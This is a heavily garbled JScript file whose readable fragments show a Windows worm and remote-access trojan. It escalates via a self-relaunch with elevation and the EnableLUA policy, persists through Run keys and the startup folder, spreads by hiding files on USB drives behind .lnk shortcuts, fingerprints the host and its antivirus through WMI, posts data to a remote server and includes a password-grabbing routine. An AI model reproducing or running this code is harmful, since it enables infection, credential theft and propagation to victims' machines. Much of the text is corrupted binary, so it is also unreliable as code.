00f6gGv&amp;U\u00c5\u00c66\u00c676W5\u00c5\u00c6f\u00f6\u00c6FW%\u00c5\u00c6FVfV\u00c7F\u00966\u00f6\u00e5\u00c5\u00c2&quot;\u0093\u00b0\u00d0\u00a6\u0096b\u00a1\u0099\u00bd\u00b1\u0091\u0095\u00c9\u00a5\u008d\u00bd\u00b8\u00b9\u00a5\u00b9\u0091\u0095\u00e1=\u0098\u00a0\u0088\u00b0\u0088\u00a4\u0080\u00f4\u00f4\u0080\u00c0\u00a5\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u00a5\u008d\u00bd\u00b91\u00bd\u008d\u0085\u00d1\u00a5\u00bd\u00b8\u0080\u00f4\u0081\u0099\u00bd\u00b1\u0091\u0095\u00c8\u00b9\u00c1\u0085\u00d1\u00a0\u00ec4)\u00f5\u0095\u00b1\u00cd\u0094\u0081\u00ec4)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u00a5\u008d\u00bd\u00b91\u00bd\u008d\u0085\u00d1\u00a5\u00bd\u00b8\u0080\u00f4\u0081\u0099\u00bd\u00b1\u0091\u0095\u00c9\u00a5\u008d\u00bd\u00b8\u00ec4)\u00f44)\u00b1\u00b9\u00ad\u00bd\u0089\u00a8\u00b9\u00cd\u0085\u00d9\u0094\u00a0\u00a4\u00ec4)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c9\u00c8\u00a5\u00ed\u00f44)\u00f44)\u00f44)\u00f44)\u00f44)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00cd\u00d1\u0085\u00c9\u00d1\u00d5\u00c1\u00b1\u0095\u00d9\u0085\u00d1\u0094\u00a0\u00a5\u00ec4)\u00a5\u0098\u00a1]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u00c9\u009d\u00d5\u00b5\u0095\u00b9\u00d1\u00cc\u00b99\u0085\u00b5\u0095\u0090\u00b9\u00e1\u00a5\u00cd\u00d1\u00cc\u00a0\u0089\u0095\u00b1\u0095\u00d9\u0085\u00d1\u0095\u0090\u0088\u00a4\u0080\u00f4\u00f4\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a5\u00ec4)\u00d1\u00c9\u00e5\u00ec4)]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089M\u00a1\u0095\u00b1\u00b0\u00b9\u00c1\u00c1\u00b1\u00a5\u008d\u0085\u00d1\u00a5\u00bd\u00b8\u0088\u00a4\u00b9M\u00a1\u0095\u00b1\u00b1\u00e1\u0095\u008d\u00d5\u00d1\u0094\u00a0\u0089\u00dd\u00cd\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u0095\u00e1\u0094\u0088\u00b0\u00a2 \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;,(\u009c\u009d&#x5B;\u0098\\\u00c8\u008b\u0093\u00b0\u00d0\u00a7\u00d66F6\u0082\u0086\u00e6\u00e2\u0097\u00b0\u00d0\u00a7\u00d0\u00d0\u00a5u67&amp;\u0097B\u00e7V\u0097B\u0082\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a7\u00d0\u00d0\u00a6gV\u00e67F\u0096\u00f6\u00e2F\u00976&amp;\u00c6U6V7W&amp;\u0097G\u0092\u0082\u0097\u00b0\u00d0\u00a6\u0096b\u0085u67&amp;\u0097B\u00e4&amp;wV\u00d6V\u00e7G2\u00e4\u00e6\u00d6VB\u00e4W\u0086\u00977G2\u0082&amp;V\u00c6WfFVB&quot;\u0092\u00d3\u00d2G'VR\u0097\u00b0\u00d0\u00a7f&quot;\u00f5&amp;Vr\u00d2vWD\u00f6&amp;\u00a6V7B\u0082'v\u0096\u00e6\u00d6v\u00d7G3\u00a7\u00b6\u0096\u00d7W'6\u00f6\u00e6F\u0096\u00f6\u00e4\u00c6WfV\u00c3\u00d6\u0096\u00d7W'6\u00f6\u00e6FW\u00d2\u00c5\u00c5\u00c5\u00c2\u00e5\u00c5\u00c7&amp;\u00f6\u00f7E\u00c5\u00c6FVfV\u00c7C\u00a57FE&amp;Vu&amp;\u00f7b&quot;\u0093\u00b0\u00d0\u00a6\u00f5&amp;Vr\u00e56WDGv\u00f7&amp;Ef\u00c7VR\u0083\u0083\u0083\u00c0\u00c0\u00f2,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;EnableLUA&quot;, :N\u00c3B\u009b\u00d4\u0099Y\u00cb\u0094\u00d9]\u00db\u00dc\u0099\u0098&#x5B;YJ\u00c0\u00c0\u00c8\u00b0\u0089M=Q]Iqq5\u00a5\u008d\u00c9\u00bd\u00cd\u00bd\u0099\u00d1qq]\u00a5\u00b9\u0091\u00bd\u00dd\u00cdqq\r\n\u00d5\u00c9\u00c9\u0095\u00b9\u00d1Y\u0095\u00c9\u00cd\u00a5\u00bd\u00b9qqA\u00bd\u00b1\u00a5\u008d\u00a5\u0095\u00cdqqM\u00e5\u00cd\u00d1\u0095\u00b4\u0088\u00b0\u0089\r\n\u00bd\u00b9\u00cd\u0095\u00b9\u00d1A\u00c9\u00bd\u00b5\u00c1\u00d1\t\u0095\u00a1\u0085\u00d9\u00a5\u00bd\u00c9\u0091\u00b5\u00a5\u00b8\u0088\u00b0\u00b0);\r\noReg = null;\r\n}\r\n}\r\nfunction uninstall(){\r\ntry{\r\nvar filename;\r\nvar foldername;\r\ntry{\r\nshellobj.RegDelete(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\nshellobj.RegDelete(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\n}catch(ei){}\r\ntry{\r\nfilesystemobj.deleteFile(startup + installname ,true);\r\nfilesystemobj.deleteFile(WScript.scriptFullName ,true);\r\n}catch(eej){}\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace\/\u0088\u0097\u00b0\u00d0\u00a6\u0096b\u0086G&amp;\u0097fR\u00e6G&amp;\u0097fWG\u0097R\u00d3\u00d2\u00a5\u00ec4)\u0099\u00bd\u00c8\u00a1\u00d9\u0085\u00c8\u0081\u0099\u00a4\u00bd new Enumerator(filesystemobj.getfolder(drive.path +(\u0097\u008aK\u0099\u009a&#x5B;\\\u00caN\u00c8Y\u009aK\u0098]&#x5B;\u0099\r\n\r\nN\u00c8\u009aK\u009b&#x5B;\u00dd\u0099S\u0099^\r\n\r\nJ^\u00c3B\u009d\u0098\\\u0088\u009a&#x5B;HH\u009aK\u009a]&#x5B;J\r\nN\u00c3B\u009d\u009e^\u00c3B\u009aY\u0088\r\n\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009a&#x5B;\u0099^\u00d9\u008a\u008b\u0088\u008aJ^\u00c3B\u009aY\u0088\r\n\r\n\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aV\u00d9\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aK\u009b&#x5B;\u0099\u00ddK\u00d2\u0092\u00e7F\u00f4\u00c6\u00f7vW$66R\u0082\u0092\u0084\u00f4\u00a2lnk&quot;){\r\nfile.attributes =,\u00c3B\u009aY\u0088\r\n\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009d\u00d5\\\\\u0090\u00d8\\\u00d9J\r\nHOH&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009d\u00d5\\\\\u0090\u00d8\\\u00d9J\r\nJ^\u00c3B\u0099\u009a&#x5B;&#x5B;\u0098&#x5B;YHH\u009a&#x5B;K\u009b\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aN\u00c3B\u0099\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099&#x5B;]Q\u009a&#x5B;J\u009a]\u0099K\u009c]\r\n\u00c8\u0097\u008a\u00b2f\u0096\u00c6V\u00e6\u00d6U\u00b3\u00d2\u00b2&quot;\u00e6\u00c6\u00e6\u00b2&quot;\u0093\u00b0\u00d0\u00a7\u00d6V\u00c76W\u00b0\u00d0\u00a6f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e6FV\u00c6WFTf\u0096\u00c6R\u0086G&amp;\u0097fR\u00e7F\u0082\u00b2%\u00c5\u00c2&quot;\u00ac\u0081\u0099\u00a5\u00b1\u0094\u00b9\u00b9\u0085\u00b5\u0094\u00a4\u00ec4)\u00f44)\u00f5\u0095\u00b1\u00cd\u0095\u00ec4)\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0091\u0095\u00b1\u0095\u00d1\u0095\u00a5\u00b1\u0094\u00a8file.path);\r\n}\r\n}\r\n}catch(ex){}\r\n}\r\nfor(var fi\/H\u0099]\u00c8&#x5B;\u009d&#x5B;Y\\\u0098]\u00dc\u008a\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u0099\u00d9]\u009b\u00db\\\u008a\u009a]\u0099K\u009c]\r\n\u00ca%\u00c5\u00c2&quot;\u0092\u00e77V$f\u00f6\u00c6FW'2\u0093\u00b2f\u0092\u00e6DV\u00e6B\u0082\u0093\u00b2f\u0092\u00e6\u00d6\u00f7fT\u00e6W\u0087B\u0082\u0092\u0097\u00b0\u00d0\u00a7f&quot;f\u00f6\u00c6FW&quot;\u00f4\u0081\u0099\u00a4\u00b9\u00a5\u00d1\u0095\u00b4\u00a0\u00a4\u00ec4)\u0099\u00bd\u00b1\u0091\u0095\u00c8\u00b9\u0085\u00d1\u00d1\u00c9\u00a5\u0089\u00d5\u00d1\u0095\u00cc\u0080\u00f4\u0080\u00c0\u00ec4)\u00f44)\u00f44)\u00f44)\u00f44)\u00f44)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c9\u00c8\u00a5\u00ed\u00f44)]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\u00c5\u00d5\u00a5\u00d0\u00a0\u00a4\u00ec4)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00c1\u00bd\u00cd\u00d0\u00a8cmd ,param){\r\ntry{\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot;*\u00c8\u00dc\u00dd\r\n\u00ca#\u00a2&quot;\u00b2\u00f7'B\u00b2&quot;\u00f2&quot;\u00b26\u00d6B\u00c2f\u00c76R\u0093\u00b0\u00d0\u00a6\u0087GG\u00f6&amp;\u00a2\u00e76WE&amp;WVW7D\u0086VFW&quot;\u0082'W6W&quot;\u00d6vV\u00e7C\u00a2&quot;\u00c6\u0096\u00e6f\u00f7&amp;\u00d6F\u0096\u00f6\u00e2\u0082\u0092\u0093\u00b0\u00d0\u00a6\u0087GG\u00f6&amp;\u00a2\u00e76V\u00e6B\u0087&amp;\u00d2\u0093\u00b0\u00d0\u00a7&amp;WGW&amp;\u00e2\u0087GG\u00f6&amp;\u00a2\u00e7&amp;W7\u00f6\u00e76UFW\u0087C\u00b0\u00d0\u00a7\u00d66F6\u0082\u0086W'&quot;\u0097\u00b0\u00d0\u00a7&amp;WGW&amp;\u00e2&quot;#\u00b0\u00d0\u00a7\u00d0\u00d0\u00a7\u00d0\u00d0\u00a6gV\u00e67F\u0096\u00f6\u00e2\u0096\u00e6f\u00f7&amp;\u00d6F\u0096\u00f6\u00e2\u0082\u0097\u00b0\u00d0\u00a7G'\u0097\u00b0\u00d0\u00a6\u0096b\u0086\u0096\u00e6b\u00d3\u00d2&quot;&quot;\u0097\u00b0\u00d0\u00a6\u0096\u00e6b\u00d2\u0087v\u0096B\u0082\u0092\u00b27\u00c6\u0097FW#\u00b0\u00d0\u00a6\u0096\u00e6b\u00f4\u0081\u00a5\u00b9\u0098\u00a0+ shellobj.ExpandEnvironmentStrings(&quot;%computername%&quot;) + spliter ;\r\ninf\/H&#x5B;\u0099\u008a\u00b26\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e4W\u0087\u00e6DV\u00e7f\u0097&amp;\u00f6\u00e6\u00d6V\u00e7E7G&amp;\u0096\u00e6w2\u0082&quot;WW6W&amp;\u00e6\u00d6RR&quot;\u0092\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u00ec4)\u00d9\u0085\u00c8\u0081\u00c9\u00bd\u00bd\u00d0\u00bd GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar os = root.ExecQuery*\u009c\u00d9&#x5B;X\u00dd\r\n\u00a2g&amp;\u00f6\u00d2v\u0096\u00e33%\u00f6\u00f7W&amp;F\u0096\u00e6w7\u00977FV\u00d2&quot;\u0093\u00b0\u00d0\u00a6f\u00f7&quot;\u0087f&quot;f\u0092\u00d2\u00e6WrV\u00e7V\u00d6W&amp;F\u00f7&quot;\u0086\u00f72\u0093\u00b2\u0085\u0099\u00a4\u00b9\u0085\u00d1\u00b9\u0090\u00a0\u00a4\u00ec\u0081\u0099\u00a4\u00b9\u00b5\u00bd\u00d9\u00959\u0095\u00e1\u00d0\u00a0\u00a4\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u00bd\u00cd\u00a5\u00b9\u0099\u00bc\u0080\u00f4\u0081\u0099\u00a4\u00b9\u00a5\u00d1\u0095\u00b4\u00a0\u00a4\u00ec4)\u00a5\u00b9\u0098\u0080\u00f4\u0081\u00a5\u00b9\u0098\u0080\u00ac\u0081\u00bd\u00cd\u00a5\u00b9\u0099\u00bc\u00b9\u008d\u0085\u00c1\u00d1\u00a5\u00bd\u00b8\u0080\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u00f44)\u00a5\u00b9\u0098\u0080\u00f4\u0081\u00a5\u00b9\u0098\u0080\u00ac\u00a2plus&quot; + spliter;\r\ninf = inf + security()*\u00c8\u00dc]\\\u008e\u00c3B\u009a&#x5B;\u0099\u0088H&#x5B;\u0099\u0088\r\n\u00c8\\\u00d8\u009c\u00dc\u0099XY&#x5B;\u0099\u00ce\u00c3B\u009a&#x5B;\u0099\u0088J%u4\u0085$B&quot;\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u0080\u00ac\u0081\u00a5\u00b9\u0098\u0080\u00ac\u0081\u00cd\u00c1\u00b1\u00a5\u00d1\u0095\u00c8\u0080\u00ac\u0080\u0089)\u0085\u00d9\u0085M\u008d\u00c9\u00a5\u00c1\u00d0\u00b5\u00d8\u00c4\u00b8\u00cc\u0088\u0080\u00ec4)\u00c9\u0095\u00d1\u00d5\u00c9\u00b8\u0081\u00a5\u00b9\u0098\u00ec4)\u00f5\u0095\u00b1\u00cd\u0095\u00ec4)\u00c9\u0095\u00d1\u00d5\u00c9\u00b8\u0081\u00a5\u00b9\u0098\u00ec4)\u00f44)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c9\u00c8\u00a5\u00ec4)\u00c9\u0095\u00d1\u00d5\u00c9\u00b8\u0080\u0088\u0088\u00ec4)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00d5\u00c1\u00cd\u00d1\u0085\u00c9\u00d0\u00a8){\r\ntry{\r\ntry{\r\nshellobj.RegWrite(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot;*\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aV\u00ccK\r\n'w67&amp;\u0097B\u00e6W\u0086R\u00f2\u00f4&quot;\u00c2&quot;&quot;\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u0080\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u00b9\u0085\u00b5\u0094\u00ab &quot;\\&quot;&quot; ,(\u0094\u0091Q\u00d7\u00d4\u00d6\u0088\u008aN\u00c3B\u009c\u00da&#x5B;\u00d8\u009a\u008b\u0094\u0099Y\u00d5\u00dc\u009a]J\u0092\u00d1VW\u00d3\u00d0\u00d0S\u00d3PP\u00d2S\u0091W\u00db\u00d9\u009d\u00d8\\\u0099WZX\u00dc\u009b\u00dc\u00db\u00d9\u009d\u00da&#x5B;\u0099\u00dd\u00dc\u00d7\u00dd\\\u009c\u0099&#x5B;\u009d\u0099\\\u009c\u00da&#x5B;\u00db\u0097\u009d&#x5B;\u0097\u0088\r\n\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aV\u00ccK\u009d\u00dc\u00d8\u00dc\u009a\\\u0099^J\u00f2\u00f4&quot;\u00c2&quot;&quot;\u00b2\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u00b9\u0085\u00b5\u0094\u0080\u00ac\u0080\u0089p\u0088\u0088\u00ac &quot;REG_SZ&quot;);\r\n}catch(ei){}\r\nfilesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);\r\nfilesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);\r\n}catch(err){}\r\n}\r\nfunction hwid(){\r\ntry{\r\nvar root = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar disks = root.ExecQuery (&quot;select * from win32_logicaldisk&quot;);\r\nfor(var fi = new Enumerator(disks);(Y\u009aK\u0098]&#x5B;\u0099\r\n\r\nN\u00c8\u009aK\u009b&#x5B;\u00dd\u0099S\u0099^\r\n\r\nJ^\u00c3B\u009d\u0098\\\u0088\\\u00da\u00cb\u00d2f\u0092\u00e6\u0097FV\u00d2\u0082\u0093\u00b0\u00d0\u00a6\u0096b\u0086F\u00976\u00b2\u00e7f\u00f6\u00c7V\u00d6U6W&amp;\u0096\u00c4\u00e7V\u00d6&amp;W&quot;\u0084\u00f4\u00a2&quot;){\r\nreturn disk.volumeSerialNumber;\r\nbreak;\r\n}\r\n}\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction security(){\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems\/H\u00d8\u009a\u009d\u00dbZ\\\u00d9\\\u009d\u009aX\u00d9K\u0091^X\u00d4]Y\\\u009eJ\u009c\u00d9&#x5B;X\u00dd\r\n\u0088\u009c\u009b\u00dbH\u00da&#x5B;\u008c\u00cc\u0097\u00db\u00dc\\\u0098]&#x5B;\u0099\u00dc\u00de\\\u00dd&#x5B;H\u008b\u009d&#x5B;\r\n\r\nN\u00c3B\u009d\u0098\\\u0088\u0099\\\u009c\u00da&#x5B;\u00db\u009c\u00dd\u008b\u00dc\u00dd\u0099\\\u009c\u00da&#x5B;\u00db\u008e\u00c3B\u0099\u009b\u00dc\u008a\u0098\\\u0088\u009aK\u00d2\u00e6WrV\u00e7V\u00d6W&amp;F\u00f7&quot;\u00866\u00f6\u00c6\u0097FV\u00d72\u0093\u00b2f\u0092\u00e6DV\u00e6B\u0082\u0093\u00b2f\u0092\u00e6\u00d6\u00f7fT\u00e6W\u0087B\u0082\u0092\u0097\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6\u0097FV\u00d2\u00d2f\u0092\u00e6\u0097FV\u00d2\u0082\u0093\u00b0\u00d0\u00a7fW'6\u0096\u00f6\u00e77G&quot;\u00d2\u00f6&amp;\u00a6\u0097FV\u00d2\u00e7fW'6\u0096\u00f6\u00e2\u00e7F\u00f57G&amp;\u0096\u00e6r\u0082\u0092\u00e77\u00c6\u0097B\u0082&quot;\u00e2&quot;\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6\u00f77fW'6\u0096\u00f6\u00e2\u00f4\u0081\u00d9\u0095\u00c9\u00cd\u00a5\u00bd\u00b9\u00cd\u00d1\u00c9l\u00c1t\u0080\u00ac\u00a2.&quot;;\r\nfor (var x = 1; x\/\u0099\\\u009c\u00da&#x5B;\u00db\u009c\u00dd\u008b\u009b&#x5B;\u0099\u00dd\u00c8\r\n\u00ca\u00ca^\u00c3B\u009b\u00dc\u00dd\u0099\\\u009c\u00da&#x5B;\u00db\u0088H\u00dc\u00dd\u0099\\\u009c\u00da&#x5B;\u00db\u0088\r\n\u00c8\u0099\\\u009c\u00da&#x5B;\u00db\u009c\u00dd\u0096\u00ccN\u00c3B\u009fCB\u009b\u00dc\u00dd\u0099\\\u009c\u00da&#x5B;\u00db\u008b\u00d2Wf\u00c2\u0086\u00f77fW'6\u0096\u00f6\u00e2\u0093\u00b0\u00d0\u00a7f&quot;63\u00b0\u00d0\u00a6\u0096b\u0086\u00f77fW'6\u0096\u00f6\u00e2\u00e2\u00d8\u00a5\u00ec\u0081\u00cd\u008c\u0080\u00f4\u00a2securitycenter2&quot;; }else{ sc = &quot;securitycenter&quot;;}\r\nvar objsecuritycenter = GetObject(&quot;winmgmts:\\\\\\\\localhost\\\\root\\\\&quot; + sc);\r\nvar colantivirus = objsecuritycenter.ExecQuery(&quot;select * from antivirusproduct&quot;,(\u009d\u00dc&#x5B;\u008b\r\nN\u00c3B\u009d\u0098\\\u0088\u00d9X\u00ddK\u00d2&quot;#\u00b0\u00d0\u00a6f\u00f7&quot;\u0087f&quot;f\u0092\u00f4\u0081\u00b9\u0095\u00dc\u0081\u00b9\u00d5\u00b5\u0095\u00c9\u0085\u00d1\u00bd\u00c8\u00a1\u008d\u00bd\u00b1\u0085\u00b9\u00d1\u00a5\u00d9\u00a5\u00c9\u00d5\u00cc\u00a4\u00ec\u0080\u0085\u0099\u00a4\u00b9\u0085\u00d1\u00b9\u0090\u00a0\u00a4\u00ec\u0081\u0099\u00a4\u00b9\u00b5\u00bd\u00d9\u00959\u0095\u00e1\u00d0\u00a0\u00a4\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u00bd\u0089\u00a9\u0085\u00b9\u00d1\u00a5\u00d9\u00a5\u00c9\u00d5\u00cc\u0080\u00f4\u0081\u0099\u00a4\u00b9\u00a5\u00d1\u0095\u00b4\u00a0\u00a4\u00ec4)\u00cd\u0095\u008d\u00d4\u0080\u00f4\u0081\u00cd\u0095\u008d\u00d4\u00a0+ objantivirus.displayName +(\u0088\u0088\u008e\u00c3B\u009fCB\u009aY\u008a\u00d9X\u00ddK\u00d3\u00d2\u0088\u0088\u00a5\u00ed\u00cd\u0095\u008d\u00d4\u00bd &quot;nan-av&quot;;}\r\nreturn secu;\r\n}catch(err){}\r\n}\r\nfunction getDate(){\r\nvar s =(\u0088\u008e\u00c3B\u009d\u0098\\\u0088H\u0099]\u00c8]J\r\nN\u00c3B\u009c\u00c8\r\n\u00cfH\u0099\u00d9]]J\r\nH\r\n\u00ca&quot;\u00f2#\u00b0\u00d0\u00a72\u00b3\u00d2\u0086B\u00e6vWD\u00d6\u00f6\u00e7F\u0082\u0082\u0092\u00b2\u00c4\u00a4\u00ab &quot;\/&quot;;\r\ns += d.getYear();\r\nreturn s;\r\n}\r\nfunction instance(){\r\ntry{\r\ntry{\r\nusbspreading = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]*\u00c8\u0097\u008aN\u00c3B\u009fX\u00d8]\u00da\r\nYYJ^\u00dfCB\u009aY\u008a\\\u00d8\u009c\u00dc\u0099XY&#x5B;\u0099\u00c8OH\u0088\u008a^\u00c3B\u009aY\u0088\r\n\u00d4\u00d8\u00dc\u009a\\\u009c\u00d8\u00dc\u009a\\\u009d&#x5B;\u0098&#x5B;YK\u009c\u00ddX\u009c\u00dd\u008aJK\u009d\u00d3\u00dd\u00d9\\\u0090\u00d8\\\u00d9J\r\nHOH\u008e\u0097\u0088\r\n\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009d\u00d3\u00dd\u00d9\\\u0090\u00d8\\\u00d9J\r\nJ^\u00c3B\u009d\\\u00d8\u009c\u00dc\u0099XY&#x5B;\u0099\u00c8H\u009d\u009dYHJ&quot;\u00b2vWDFFR\u0082\u0093\u00b0\u00d0\u00a7G'\u0097\u00b76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e5&amp;Vuw&amp;\u0097FR\u0082$\u0084\u00b4U\u0095\u00f4\u00c4\u00f44\u00c5\u00f4\u00d44\u0084\u0094\u00e4U\u00c5\u00c76\u00f6gGv&amp;U\u00c5\u00c2&quot;\u00b2\u0096\u00e77F\u00c6\u00c6\u00e6\u00d6R\u00e77\u00c6\u0097B\u0082&quot;\u00e2&quot;\u0095\u00b3\u00d2\u00ac\u0080\u0089qp\u0088\u00b0\u0080\u0081\u00d5\u00cd\u0089\u00cd\u00c1\u00c9\u0095\u0085\u0091\u00a5\u00b9\u009c\u00b0\u0080\u0089I}Mh\u0088\u00a4\u00ed\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u0095\u0095\u0095\u0094\u00a5\u00ed\u00f44)\u00f5\u0095\u00b1\u00cd\u0095\u00ec4)\u00d5\u00cd\u0089\u00cd\u00c1\u00c9\u0095\u0085\u0091\u00a5\u00b9\u009c\u0080\u00f4\u0080\u0089\u0099\u0085\u00b1\u00cd\u0094\u0080\u00b4\u0080\u0088\u00ab getDate();\r\ntry{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot;*\u00c8&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YK\u009c\u00dc]\r\n\u008b\u0088\u008aV\u00ccH\r\n\u00c8\u0097\u008b\\\u00d8\u009c\u00dc\u0099XY&#x5B;\u0099\u00cb\u0094\u0091Q\u00d7\u00d4\u00d6\u0088\u008aN\u00dfX\u00d8]\u00da\r\nYYYYJ^\u00dfCB\u009fCB\u009fCB\u009d\\\u00dd\\\u009d\r\n\r\nN\u00c3B\u009d\u0098\\\u0088\u00d8\u00dc\u009a\\\u009d&#x5B;\u0098&#x5B;Y\\\u00da\u00dc\u009dJf\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e6vWDf\u0096\u00c6R\u0085u67&amp;\u0097B\u00e767&amp;\u0097DgV\u00c6\u00c4\u00e6\u00d6R\u0093\u00b0\u00d0\u00a7f&quot;\u0096\u00e77F\u00c6\u00c6gV\u00c6\u00c6\u00e6\u00d6W6\u0086\u00f7'B\u00d2f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e6vWDf\u0096\u00c6R\u0086\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00b2\u0096\u00e77F\u00c6\u00c6\u00e6\u00d6R\u0093\u00b0\u00d0\u00a6\u0096b\u008767&amp;\u0097FgV\u00c6\u00c6\u00e6\u00d6W6\u0086\u00f7'B\u00e76\u0086\u00f7'EF\u0082\u00e7F\u00f4\u00c6\u00f7vW$66R\u0082\u0092\u00d2\u0096\u00e77F\u00c6\u00c6gV\u00c6\u00c6\u00e6\u00d6W6\u0086\u00f7'B\u00e76\u0086\u00f7'EF\u0082\u00e7F\u00f4\u00c6\u00f7vW$66R\u0082\u0092\u0097\u00b0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082'w67&amp;\u0097B\u00e6W\u0086R\u00bc\u00bd\u0081p\u0088\u0088\u0080\u00ac\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u00ab installname + &quot;\\&quot;&quot;);\r\nWScript.quit();\r\n}\r\noneonce = filesystemobj.openTextFile(installdir + installname ,8, false);\r\n}catch(err){\r\nWScript.quit();\r\n}\r\n}\r\nfunction passgrabber*\u009a&#x5B;]\\\u009b\u009a&#x5B;&#x5B;\u0098&#x5B;YK\u0099]\u00dbY\r\n^\u00c3B\u009c\u00da&#x5B;\u00d8\u009a\u008b\u009c\u009d&#x5B;\u008a\u0089X\u00db\u00db\\\u00dcX\u00c9J\u00f62F6\u00b6\u00b6\u0096\u00c6\u00c2\u00bd\u00afIM &quot;*\u00c8\u009a&#x5B;&#x5B;\u0098&#x5B;YK\u00c2G'VR\u0093\u00b0\u00d0\u00a7G'\u0097\u00b6f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a2\u00e6FV\u00c6WFTf\u0096\u00c6R\u0086\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00ac\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0094\u0080\u00ac\u0080\u0089\u0091\u0085\u00d1\u0084\u0088\u00a4\u00ed\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00e4\u00a5\u00ed\u00f44)\u00d9\u0085\u00c8\u0081\u008d\u00bd\u00b9\u0099\u00a5\u009d}\u0099\u00a5\u00b1\u0094\u00bd installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) 